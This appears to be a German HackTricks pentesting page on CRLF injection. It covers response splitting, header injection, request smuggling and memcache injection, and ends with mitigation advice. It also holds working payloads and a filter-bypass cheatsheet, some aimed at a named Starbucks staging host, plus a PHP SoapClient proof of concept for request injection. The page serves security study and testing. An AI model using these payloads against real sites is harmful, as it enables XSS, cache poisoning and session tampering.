CRLF (%0D%0A) Injection

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

CRLF

Carriage Return (CR) und Line Feed (LF), zusammen bekannt als CRLF, sind spezielle Zeichenfolgen, die im HTTP-Protokoll verwendet werden, um das Ende einer Zeile oder den Beginn einer neuen zu kennzeichnen. Webserver und Browser verwenden CRLF, um zwischen HTTP-Headern und dem Körper einer Antwort zu unterscheiden. Diese Zeichen werden universell in HTTP/1.1-Kommunikationen über verschiedene Webserver-Typen hinweg eingesetzt, wie z.B. Apache und Microsoft IIS.

CRLF Injection Vulnerability

CRLF-Injection beinhaltet das Einfügen von CR- und LF-Zeichen in vom Benutzer bereitgestellten Eingaben. Diese Aktion führt dazu, dass der Server, die Anwendung oder der Benutzer die eingefügte Sequenz als das Ende einer Antwort und den Beginn einer anderen interpretiert. Während diese Zeichen an sich nicht schädlich sind, kann ihr Missbrauch zu HTTP-Antwortsplittung und anderen böswilligen Aktivitäten führen.

Beispiel: CRLF Injection in einer Protokolldatei

Example from here

Betrachten Sie eine Protokolldatei in einem Admin-Panel, die das Format: IP - Zeit - Besuchter Pfad hat. Ein typischer Eintrag könnte so aussehen:

123.123.123.123 - 08:15 - /index.php?page=home

Ein Angreifer kann eine CRLF-Injection ausnutzen, um dieses Protokoll zu manipulieren. Durch das Injizieren von CRLF-Zeichen in die HTTP-Anfrage kann der Angreifer den Ausgabestrom ändern und Protokolleinträge fälschen. Zum Beispiel könnte eine injizierte Sequenz den Protokolleintrag in Folgendes umwandeln:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Hier repräsentieren %0d und %0a die URL-kodierten Formen von CR und LF. Nach dem Angriff würde das Protokoll irreführend anzeigen:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Der Angreifer tarnt somit seine bösartigen Aktivitäten, indem er es so erscheinen lässt, als ob der localhost (eine Entität, die typischerweise innerhalb der Serverumgebung vertraut ist) die Aktionen ausgeführt hat. Der Server interpretiert den Teil der Abfrage, der mit %0d%0a beginnt, als einen einzelnen Parameter, während der restrictedaction-Parameter als eine andere, separate Eingabe geparst wird. Die manipulierte Abfrage ahmt effektiv einen legitimen administrativen Befehl nach: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Beschreibung

HTTP Response Splitting ist eine Sicherheitsanfälligkeit, die entsteht, wenn ein Angreifer die Struktur von HTTP-Antworten ausnutzt. Diese Struktur trennt Header vom Body mithilfe einer spezifischen Zeichenfolge, Carriage Return (CR) gefolgt von Line Feed (LF), zusammen als CRLF bezeichnet. Wenn es einem Angreifer gelingt, eine CRLF-Zeichenfolge in einen Antwort-Header einzufügen, kann er effektiv den nachfolgenden Antwortinhalt manipulieren. Diese Art der Manipulation kann zu schwerwiegenden Sicherheitsproblemen führen, insbesondere zu Cross-site Scripting (XSS).

XSS durch HTTP Response Splitting

1. Die Anwendung setzt einen benutzerdefinierten Header wie folgt: X-Custom-Header: UserInput
2. Die Anwendung ruft den Wert für UserInput aus einem Abfrageparameter ab, sagen wir “user_input”. In Szenarien, in denen es an ordnungsgemäßer Eingabevalidierung und -kodierung mangelt, kann ein Angreifer eine Nutzlast erstellen, die die CRLF-Zeichenfolge enthält, gefolgt von bösartigem Inhalt.
3. Ein Angreifer erstellt eine URL mit einem speziell gestalteten ‘user_input’: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• In dieser URL ist %0d%0a%0d%0a die URL-kodierte Form von CRLFCRLF. Es täuscht den Server, indem es eine CRLF-Zeichenfolge einfügt, wodurch der Server den nachfolgenden Teil als Antwort-Body behandelt.

4. Der Server spiegelt die Eingabe des Angreifers im Antwort-Header wider, was zu einer unbeabsichtigten Antwortstruktur führt, in der das bösartige Skript vom Browser als Teil des Antwort-Bodys interpretiert wird.

Ein Beispiel für HTTP Response Splitting, das zu einer Umleitung führt

Von https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser zu:

/%0d%0aLocation:%20http://myweb.com

Und der Server antwortet mit dem Header:

Location: http://myweb.com

Anderes Beispiel: (von https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Im URL-Pfad

Sie können die Payload innerhalb des URL-Pfads senden, um die Antwort vom Server zu steuern (Beispiel von hier):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Überprüfen Sie weitere Beispiele in:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

HTTP Header Injection

HTTP Header Injection, oft ausgenutzt durch CRLF (Carriage Return und Line Feed) Injection, ermöglicht es Angreifern, HTTP-Header einzufügen. Dies kann Sicherheitsmechanismen wie XSS (Cross-Site Scripting) Filter oder die SOP (Same-Origin Policy) untergraben, was potenziell zu unbefugtem Zugriff auf sensible Daten, wie CSRF-Tokens, oder zur Manipulation von Benutzersitzungen durch Cookie-Platzierung führen kann.

Ausnutzen von CORS über HTTP Header Injection

Ein Angreifer kann HTTP-Header injizieren, um CORS (Cross-Origin Resource Sharing) zu aktivieren und die durch SOP auferlegten Einschränkungen zu umgehen. Dieser Verstoß ermöglicht es Skripten aus bösartigen Ursprüngen, mit Ressourcen aus einem anderen Ursprung zu interagieren und potenziell auf geschützte Daten zuzugreifen.

SSRF und HTTP Request Injection über CRLF

CRLF-Injection kann genutzt werden, um eine völlig neue HTTP-Anfrage zu erstellen und einzufügen. Ein bemerkenswertes Beispiel hierfür ist die Schwachstelle in PHPs SoapClient-Klasse, insbesondere im user_agent-Parameter. Durch Manipulation dieses Parameters kann ein Angreifer zusätzliche Header und Body-Inhalte einfügen oder sogar eine neue HTTP-Anfrage vollständig injizieren. Unten ist ein PHP-Beispiel, das diese Ausnutzung demonstriert:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection zu Request Smuggling

Für weitere Informationen zu dieser Technik und möglichen Problemen prüfen Sie die Originalquelle.

Sie können essentielle Header injizieren, um sicherzustellen, dass der Back-End die Verbindung offen hält, nachdem auf die ursprüngliche Anfrage geantwortet wurde:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Nachfolgend kann eine zweite Anfrage spezifiziert werden. Dieses Szenario beinhaltet typischerweise HTTP request smuggling, eine Technik, bei der zusätzliche Header oder Body-Elemente, die vom Server nach der Injektion angehängt werden, zu verschiedenen Sicherheitsausnutzungen führen können.

Ausnutzung:

1. Malicious Prefix Injection: Diese Methode beinhaltet das Vergiften der Anfrage des nächsten Benutzers oder eines Web-Caches, indem ein bösartiges Präfix angegeben wird. Ein Beispiel dafür ist:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Crafting a Prefix for Response Queue Poisoning: Dieser Ansatz beinhaltet das Erstellen eines Präfixes, das, wenn es mit nachfolgendem Müll kombiniert wird, eine vollständige zweite Anfrage bildet. Dies kann das Vergiften der Antwortwarteschlange auslösen. Ein Beispiel ist:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcache ist ein key-value store, der ein Klartextprotokoll verwendet. Weitere Informationen in:

11211 - Pentesting Memcache

Für die vollständigen Informationen lesen Sie die originale Beschreibung

Wenn eine Plattform Daten aus einer HTTP-Anfrage entnimmt und diese ohne Bereinigung verwendet, um Anfragen an einen memcache-Server zu stellen, könnte ein Angreifer dieses Verhalten ausnutzen, um neue Memcache-Befehle einzufügen.

Zum Beispiel wurden in der ursprünglich entdeckten Schwachstelle Cache-Schlüssel verwendet, um die IP und den Port zurückzugeben, mit dem sich ein Benutzer verbinden sollte, und Angreifer konnten Memcache-Befehle injizieren, die den Cache vergifteten, um die Details der Opfer (Benutzernamen und Passwörter eingeschlossen) an die Server des Angreifers zu senden:

Darüber hinaus entdeckten Forscher auch, dass sie die Memcache-Antworten desynchronisieren konnten, um die IP und Ports der Angreifer an Benutzer zu senden, deren E-Mail der Angreifer nicht kannte:

So verhindern Sie CRLF / HTTP-Header-Injektionen in Webanwendungen

Um die Risiken von CRLF (Carriage Return und Line Feed) oder HTTP-Header-Injektionen in Webanwendungen zu mindern, werden die folgenden Strategien empfohlen:

1. Vermeiden Sie direkte Benutzereingaben in Antwort-Headern: Der sicherste Ansatz besteht darin, Benutzereingaben nicht direkt in Antwort-Header einzufügen.
2. Kodieren Sie Sonderzeichen: Wenn es nicht möglich ist, direkte Benutzereingaben zu vermeiden, stellen Sie sicher, dass Sie eine Funktion verwenden, die speziell für die Kodierung von Sonderzeichen wie CR (Carriage Return) und LF (Line Feed) zuständig ist. Diese Praxis verhindert die Möglichkeit einer CRLF-Injektion.
3. Aktualisieren Sie die Programmiersprache: Aktualisieren Sie regelmäßig die in Ihren Webanwendungen verwendete Programmiersprache auf die neueste Version. Wählen Sie eine Version, die das Einfügen von CR- und LF-Zeichen in Funktionen, die für das Setzen von HTTP-Headern zuständig sind, von vornherein verbietet.

CHEATSHEET

Cheatsheet von hier

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Aktuelle Schwachstellen (2023 – 2025)

In den letzten Jahren wurden mehrere hochgradige CRLF/HTTP-Header-Injection-Fehler in weit verbreiteten Server- und Client-Komponenten entdeckt. Die lokale Reproduktion und Untersuchung dieser Fehler ist eine hervorragende Möglichkeit, um reale Ausnutzungsmuster zu verstehen.

Diese Fehler sind wichtig, da sie innerhalb des Anwendungscodes ausgelöst werden und nicht nur am Rand des Webservers. Jedes interne Element, das HTTP-Anfragen durchführt oder Antwortheader setzt, muss daher CR/LF-Filterung durchsetzen.

Fortgeschrittene Unicode / Steuerzeichen-Bypasses

Moderne WAF/Umformungsstacks entfernen oft das literale \r/\n, vergessen jedoch andere Zeichen, die viele Backends als Zeilenbegrenzer behandeln. Wenn CRLF gefiltert wird, versuchen Sie:

• %E2%80%A8 (U+2028 – ZEILENBEGRENZER)
• %E2%80%A9 (U+2029 – ABSATZBEGRENZER)
• %C2%85 (U+0085 – NÄCHSTE ZEILE)

Einige Java-, Python- und Go-Frameworks konvertieren diese während der Header-Analyse in \n (siehe die Praetorian-Forschung von 2023). Kombinieren Sie sie mit klassischen Payloads:

/%0A%E2%80%A8Set-Cookie:%20admin=true

Wenn der Filter zuerst UTF-8 normalisiert, wird das Steuerzeichen in einen regulären Zeilenumbruch umgewandelt und der injizierte Header wird akzeptiert.

WAF-Evasion über den Trick mit doppeltem Content-Encoding (2023)

Die Forscher von Praetorian zeigten auch, dass durch das Injizieren:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

in einen reflektierten Header, ignorieren Browser den vom Server bereitgestellten Body und rendern den vom Angreifer bereitgestellten HTML-Code, der folgt, was gespeichertes XSS ermöglicht, selbst wenn der eigene Inhalt der Anwendung inert ist. Da Content-Encoding: identity von RFC 9110 erlaubt ist, leiten viele Reverse-Proxys es unverändert weiter.

Automatische Werkzeuge

• CRLFsuite – schneller aktiver Scanner, geschrieben in Go.
• crlfuzz – auf Wortlisten basierender Fuzzer, der Unicode-Zeilenumbruch-Payloads unterstützt.
• crlfix – 2024 Dienstprogramm, das HTTP-Anfragen, die von Go-Programmen generiert werden, patcht und eigenständig verwendet werden kann, um interne Dienste zu testen.

Brute-Force Erkennungsliste

• carlospolop/Auto_Wordlists – crlf.txt

Referenzen

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/
• https://nvd.nist.gov/vuln/detail/CVE-2024-45302
• https://security.praetorian.com/blog/2023-unicode-newlines-bypass/

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.